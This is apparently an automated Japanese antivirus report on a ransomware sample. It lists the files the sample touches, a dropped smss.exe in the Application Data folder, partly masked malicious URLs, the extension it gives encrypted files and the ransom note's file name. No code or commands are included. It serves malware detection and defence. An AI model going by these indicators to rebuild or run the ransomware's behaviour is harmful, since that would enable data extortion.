• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationLeft_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationRight_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\button-highlight.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Heart_VideoInset.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyNotesBackground_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_select-highlight.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationUp_SelectionSubpicture.png
• %System Root%\Program Files\Microsoft Games\Mahjong\MahjongMCE.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\photoedge_selectionsubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\mainscroll.png
• %System Root%\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsNotesBackground_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-overlay.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToScenesBackground_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\title_trans_scene.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\Scene_loop.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\photoedge_videoinset.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationLeft_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Heart_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\button-overlay.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\1047x576black.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\circleround_selectionsubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\GoldRing.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationUp_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToNotesBackground_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_notes-txt-background.png
• %User Temp%\D202833E.zeppelin
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_content-background.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_INTRO_BG_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\1047x576black.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\bear_formatted_matte2.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationRight_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationRight_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Vignette\1047x576black.png
• %Program Files%\Adobe\Acrobat Reader DC\Reader\AcroCEF\cef_extensions.pak
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Push\push_item.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\16to9Squareframe_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_rightarrow.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-highlight.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationRight_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationUp_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Full\full.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-previous-static.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_LOOP_BG_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Circle_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\720x480blacksquare.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\btn-back-static.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\1047x576black.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationLeft_SelectionSubpicture.png
• %Program Files%\Adobe\Acrobat Reader DC\Reader\AcroCEF\locales\en-US.pak
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Stacking\15x15dot.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576_91n92.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\title_stripe.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\content-background.png
• %System Root%\Program Files\DVD Maker\bod_r.TTF
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationLeft_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\720x480icongraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationUp_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\OldAge\decorative_rule.png
• %System Root%\Program Files\DVD Maker\Shared\DissolveAnother.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\NavigationLeft_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationLeft_SelectionSubpicture.png
• %System Root%\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-back-static.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\background.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-background.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\bear_formatted_rgb6.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport_mask_right.png
• %System Root%\Program Files\VMware\VMware Tools\help\wwhdata\info.txt
• %System Root%\Program Files\DVD Maker\en-US\DVDMaker.exe.mui
• %System Root%\Program Files\VMware\VMware Tools\VMwareTray.exe
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\OldAge\1047x576black.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\Notes_loop_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\background.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-previous-static.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToNotesBackground.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\btn-previous-static.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Vignette\vignettemask25.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyScenesBackground.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationRight_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationLeft_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\userContent_16x9_imagemask.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-next-over-select.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Dot.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationRight_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\PreviousMenuButtonIcon.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\notes-static.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationUp_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_INTRO_BG.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\selection_subpicture.png
• %System Root%\Program Files\DVD Maker\DVDMaker.exe
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_RGB_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationLeft_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainBackground_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationRight_SelectionSubpicture.png
• %Program Files%\Adobe\Acrobat Reader DC\Reader\AcroCEF\snapshot_blob.bin
• %System Root%\Program Files\DVD Maker\directshowtap.ax
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BlackRectangle.bmp
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\cloud_Thumbnail.bmp
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Full\1047x576black.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\mainimage-mask.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\whitemask1047.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\huemainsubpicture2.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\shadowonlyframe_buttongraphic.png
• %System Root%\Program Files\VMware\VMware Tools\vmtoolsd.exe
• %System Root%\Program Files\DVD Maker\Shared\Common.fxh
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\circle_glass_Thumbnail.bmp
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\babyblue.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToScenesBackground.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-image-mask.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\scrapbook.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Push\push.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\rectangle_babypink_Thumbnail.bmp
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\16to9Squareframe_Buttongraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_INTRO_BG.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationLeft_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationRight_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationUp_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Title_Page_Ref.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\Bear_Formatted_RGB6_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\highlight.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-highlight.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\Notes_content-background.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-previous-over-select.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Shatter\1047x576black.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\Bear_Formatted_MATTE2_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Heart_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMain.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Push\1047x576black.png
• %System Root%\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationRight_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\SceneButtonInset_Alpha2.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Trans_Notes_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Postage_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\PreviousMenuButtonIconSubpi.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationLeft_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_LOOP_BG.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\heart_glass_Thumbnail.bmp
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Vignette\softedges.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_VideoInset.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_MATTE_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\TitleButtonIcon.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyScenesBackground_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\LightBlueRectangle.PNG
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\bandwidth.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\Perf_Scenes_Subpicture1.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationLeft_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Travel\header-background.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\videowall.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationLeft_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_mainImage-mask.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-highlight.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\NavigationRight_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationLeft_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\203x8subpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationUp_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationUp_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\whitemenu.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\btn-back-static.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\NextMenuButtonIconSubpictur.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Push\push_title.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-back-over-select.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\OldAge\vintage.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\NavigationButtonSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\rectangle_plain_Thumbnail.bmp
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\MainMenuButtonIcon.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\circleround_glass.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsScenesBackground.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\Panel_Mask_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-back-static.png
• %System Root%\Program Files\DVD Maker\sonicsptransform.ax
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\NavigationUp_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToScenesBackground_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\rectangle_scrapbook_Thumbnail.bmp
• %System Root%\Program Files\DVD Maker\en-US\WMM2CLIP.dll.mui
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationUp_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_image-frame-backglow.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationLeft_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\NavigationRight_ButtonGraphic.png
• %Program Files%\Adobe\Acrobat Reader DC\Reader\AcroCEF\cef_200_percent.pak
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\navSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationRight_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Circle_VideoInset.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_INTRO_BG_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\SceneButtonInset_Alpha1.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationRight_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationUp_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\rtstreamsink.ax
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationRight_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\btn-previous-static.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationRight_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationUp_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\soniccolorconverter.ax
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationLeft_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\rectangle_postage_Thumbnail.bmp
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\scenesscroll.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\babypink.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Sports\SceneButtonSubpicture.png
• %Program Files%\Adobe\Acrobat Reader DC\Reader\AcroCEF\cef_100_percent.pak
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationUp_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\pagecurl.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainBackground.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationUp_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\content-foreground.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationUp_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_Buttongraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_precomp_matte.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\DvdTransform.fx
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\button-highlight.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationLeft_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationRight_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Push\1047_576black.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_btn-next-static.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\reflect.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationUp_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationRight_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\play-static.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\rollinghills.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\chapters-static.png
• %System Root%\Program Files\DVD Maker\rtstreamsource.ax
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyNotesBackground.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Circle_SelectionSubpictureB.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\Memories_buttonClear.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Stacking\photograph.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_LOOP_BG.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\performance.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationLeft_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_image-frame-ImageMask.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\16to9Squareframe_VideoInset.png
• %Program Files%\Adobe\Acrobat Reader DC\Reader\AcroCEF\icudtl.dat
• %System Root%\Program Files\DVD Maker\Shared\Parity.fx
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationUp_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\rectangle_highlights_Thumbnail.bmp
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\1047x576black.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Shatter\203x8subpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationLeft_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationUp_SelectionSubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationLeft_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationUp_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\title_trans_notes.wmv
• %System Root%\Program Files\Microsoft Games\Chess\ChessMCE.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Full\dotslightoverlay.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Full\pushplaysubpicture.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Memories\Notes_btn-back-static.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIcon.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Trans_Scene_PAL.wmv
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationLeft_ButtonGraphic.png
• %System Root%\Program Files\DVD Maker\Shared\DvdStyles\rectangle_travel_Thumbnail.bmp
• %Application Data%\Microsoft\Windows\smss.exe

(註：%System Root%フォルダは、オペレーティングシステム(OS)が存在する場所で、いずれのOSでも通常、 "C:" です。.. %Program Files%フォルダは、デフォルトのプログラムファイルフォルダです。C:\Program Files in Windows 2000(32-bit)、Server 2003(32-bit)、XP、Vista(64-bit)、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Program Files"です。また、Windows XP(64-bit)、Vista(64-bit)、7(64-bit)、8(64-bit)、8.1(64-bit)、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Program Files（x86）" です。. %User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

その他

マルウェアは、以下の不正なWebサイトにアクセスします。

• http://{BLOCKED}ool.com
• http://crt.{BLOCKED}ust.com/GoGetSSLRSADVCA.crt
• http://{BLOCKED}er.org/1i8r57.jpg
• http://{BLOCKED}atool.com

ランサムウェアの不正活動

マルウェアは、以下の名称を利用して暗号化されたファイルのファイル名を改称します。

• {encrypted file}.288-B94-5B8

マルウェアが作成する以下のファイルは、脅迫状です。

• !!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT

このウイルス情報は、自動解析システムにより作成されました。